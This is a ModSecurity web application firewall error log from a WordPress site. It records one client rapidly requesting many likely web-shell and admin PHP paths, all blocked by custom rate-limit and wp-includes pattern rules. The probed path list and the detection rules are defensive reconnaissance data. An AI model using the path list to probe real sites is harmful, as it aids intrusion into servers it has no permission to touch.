[Mon Mar 02 12:13:13.078405 2026] [:error] [pid 21575:tid 21599] [client 20.104.124.39:25017] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaUOWSrocdArcJqFfIkbqwAAAVQ"]
[Mon Mar 02 12:13:13.765157 2026] [:error] [pid 14466:tid 14482] [client 20.104.124.39:25221] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaUOWf8w-ahEIiUSqM5TjQAAAc4"]
[Mon Mar 02 12:13:14.429026 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:24972] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaUOWoqJmC8ih_lQQnBh5QAAAMo"]
[Mon Mar 02 12:13:15.115046 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24718] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaUOW4qJmC8ih_lQQnBh6wAAAMQ"]
[Mon Mar 02 12:13:15.609897 2026] [:error] [pid 21575:tid 21580] [client 20.104.124.39:24988] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaUOWyrocdArcJqFfIkbtAAAAUE"]
[Mon Mar 02 12:13:16.074732 2026] [:error] [pid 23872:tid 23891] [client 20.104.124.39:25002] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaUOXEzkQFuA2qBk8UMNjgAAAZA"]
[Mon Mar 02 12:13:16.594457 2026] [:error] [pid 28795:tid 28883] [client 20.104.124.39:25267] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaUOXLROd53wZBkdI_e_QQAAAJQ"]
[Mon Mar 02 12:13:17.341614 2026] [:error] [pid 23872:tid 23887] [client 20.104.124.39:24752] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaUOXUzkQFuA2qBk8UMNkQAAAYw"]
[Mon Mar 02 12:13:18.153280 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:25253] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaUOXoqJmC8ih_lQQnBiAQAAAM4"]
[Mon Mar 02 12:13:18.878009 2026] [:error] [pid 21575:tid 21591] [client 20.104.124.39:24717] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaUOXirocdArcJqFfIkbvwAAAUw"]
[Mon Mar 02 12:13:19.356554 2026] [:error] [pid 21575:tid 21597] [client 20.104.124.39:24697] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaUOXyrocdArcJqFfIkbxQAAAVI"]
[Mon Mar 02 12:13:19.797872 2026] [:error] [pid 23872:tid 23888] [client 20.104.124.39:24745] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaUOX0zkQFuA2qBk8UMNmwAAAY0"]
[Mon Mar 02 12:13:20.306995 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:24749] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaUOYLROd53wZBkdI_e_RQAAAIU"]
[Mon Mar 02 12:13:20.894453 2026] [:error] [pid 23872:tid 23878] [client 20.104.124.39:25050] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaUOYEzkQFuA2qBk8UMNpwAAAYM"]
[Mon Mar 02 12:13:21.335033 2026] [:error] [pid 28795:tid 28867] [client 20.104.124.39:24993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaUOYbROd53wZBkdI_e_RgAAAIQ"]
[Mon Mar 02 12:13:21.853766 2026] [:error] [pid 31257:tid 31274] [client 20.104.124.39:24708] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaUOYf-JFLfishX45N9pzQAAAQs"]
[Mon Mar 02 12:13:22.335785 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:25012] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaUOYv-JFLfishX45N9p0AAAAQk"]
[Mon Mar 02 12:13:22.800968 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:25249] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaUOYoqJmC8ih_lQQnBiDQAAANc"]
[Mon Mar 02 12:13:23.295641 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:24963] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaUOY4qJmC8ih_lQQnBiEAAAAMo"]
[Mon Mar 02 12:13:23.748718 2026] [:error] [pid 23872:tid 23885] [client 20.104.124.39:24719] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaUOY0zkQFuA2qBk8UMNswAAAYo"]
[Mon Mar 02 12:13:24.330679 2026] [:error] [pid 21575:tid 21602] [client 20.104.124.39:25225] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaUOZCrocdArcJqFfIkbzwAAAVc"]
[Mon Mar 02 12:13:24.794637 2026] [:error] [pid 21575:tid 21595] [client 20.104.124.39:25223] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaUOZCrocdArcJqFfIkb0QAAAVA"]
[Mon Mar 02 12:13:25.288203 2026] [:error] [pid 14466:tid 14468] [client 20.104.124.39:25154] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaUOZf8w-ahEIiUSqM5TpQAAAcA"]
[Mon Mar 02 12:13:25.838953 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24723] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaUOZYqJmC8ih_lQQnBiIQAAAMY"]
[Mon Mar 02 12:13:26.288598 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:24741] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaUOZoqJmC8ih_lQQnBiIwAAANQ"]
[Mon Mar 02 12:13:26.811771 2026] [:error] [pid 23872:tid 23896] [client 20.104.124.39:24974] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaUOZkzkQFuA2qBk8UMN1wAAAZU"]
[Mon Mar 02 12:13:27.304686 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:24734] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaUOZ4qJmC8ih_lQQnBiJwAAAMU"]
[Mon Mar 02 12:13:27.813798 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:24645] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaUOZ4qJmC8ih_lQQnBiLQAAAMw"]
[Mon Mar 02 12:13:28.576116 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:25250] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaUOaIqJmC8ih_lQQnBiOwAAAMo"]
[Mon Mar 02 12:13:29.135218 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:25078] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaUOaYqJmC8ih_lQQnBiQgAAAM8"]
[Mon Mar 02 12:13:29.662870 2026] [:error] [pid 14466:tid 14472] [client 20.104.124.39:25263] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaUOaf8w-ahEIiUSqM5TtQAAAcQ"]
[Mon Mar 02 12:13:30.153721 2026] [:error] [pid 21575:tid 21580] [client 20.104.124.39:24666] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaUOairocdArcJqFfIkb3QAAAUE"]
[Mon Mar 02 12:13:30.720373 2026] [:error] [pid 21575:tid 21590] [client 20.104.124.39:24715] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaUOairocdArcJqFfIkb4wAAAUs"]
[Mon Mar 02 12:13:31.268868 2026] [:error] [pid 23872:tid 23878] [client 20.104.124.39:24656] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaUOa0zkQFuA2qBk8UMN4wAAAYM"]
[Mon Mar 02 12:13:31.857387 2026] [:error] [pid 21575:tid 21601] [client 20.104.124.39:25013] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaUOayrocdArcJqFfIkb6AAAAVY"]
[Mon Mar 02 12:13:32.326509 2026] [:error] [pid 21575:tid 21587] [client 20.104.124.39:25254] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaUObCrocdArcJqFfIkb6wAAAUg"]
[Mon Mar 02 12:13:32.779779 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24738] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaUObIqJmC8ih_lQQnBiSgAAAMM"]
[Mon Mar 02 12:13:33.327862 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24969] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaUObYqJmC8ih_lQQnBiTQAAAMQ"]
[Mon Mar 02 12:13:33.963877 2026] [:error] [pid 28794:tid 28837] [client 20.104.124.39:24735] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaUObaVy2qpaelbUob2C9gAAAEE"]
[Mon Mar 02 12:13:34.661727 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:25233] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaUObirocdArcJqFfIkb8wAAAUM"]
[Mon Mar 02 12:13:35.159845 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:25021] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaUOb4qJmC8ih_lQQnBiVAAAAMI"]
[Mon Mar 02 12:13:35.716281 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:24724] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaUOb4qJmC8ih_lQQnBiWQAAAMA"]
[Mon Mar 02 12:13:36.227266 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24721] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaUOcIqJmC8ih_lQQnBiWwAAANg"]
[Mon Mar 02 12:13:37.058055 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:25271] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaUOcYqJmC8ih_lQQnBiXQAAAMY"]
[Mon Mar 02 12:13:37.751190 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:24716] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaUOcYqJmC8ih_lQQnBiYgAAANI"]
[Mon Mar 02 12:13:38.210292 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:25048] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaUOcrROd53wZBkdI_e_XAAAAIs"]
[Mon Mar 02 12:13:38.951655 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:25248] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaUOcoqJmC8ih_lQQnBibAAAANg"]
[Mon Mar 02 12:13:39.775981 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:25001] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaUOc4qJmC8ih_lQQnBidQAAAMs"]
[Mon Mar 02 12:13:40.588179 2026] [:error] [pid 21575:tid 21594] [client 20.104.124.39:25052] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaUOdCrocdArcJqFfIkcLQAAAU8"]
[Mon Mar 02 12:13:41.265225 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:25228] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaUOdYqJmC8ih_lQQnBijgAAAMY"]
[Mon Mar 02 12:13:41.779705 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:25055] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaUOdYqJmC8ih_lQQnBimgAAAMY"]
[Mon Mar 02 12:13:42.199600 2026] [:error] [pid 23872:tid 23888] [client 20.104.124.39:24740] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaUOdkzkQFuA2qBk8UMOBQAAAY0"]
[Mon Mar 02 12:13:42.914038 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:25081] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaUOdv-JFLfishX45N9p_AAAARg"]
[Mon Mar 02 12:13:43.473861 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24971] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaUOd4qJmC8ih_lQQnBipQAAANg"]
[Mon Mar 02 12:13:44.386079 2026] [:error] [pid 28793:tid 28812] [client 20.104.124.39:25080] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaUOeA2_fxBANaHo1f5hGgAAAAU"]
[Mon Mar 02 12:14:04.522581 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:24675] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaUOjIqJmC8ih_lQQnBjUQAAAMA"]
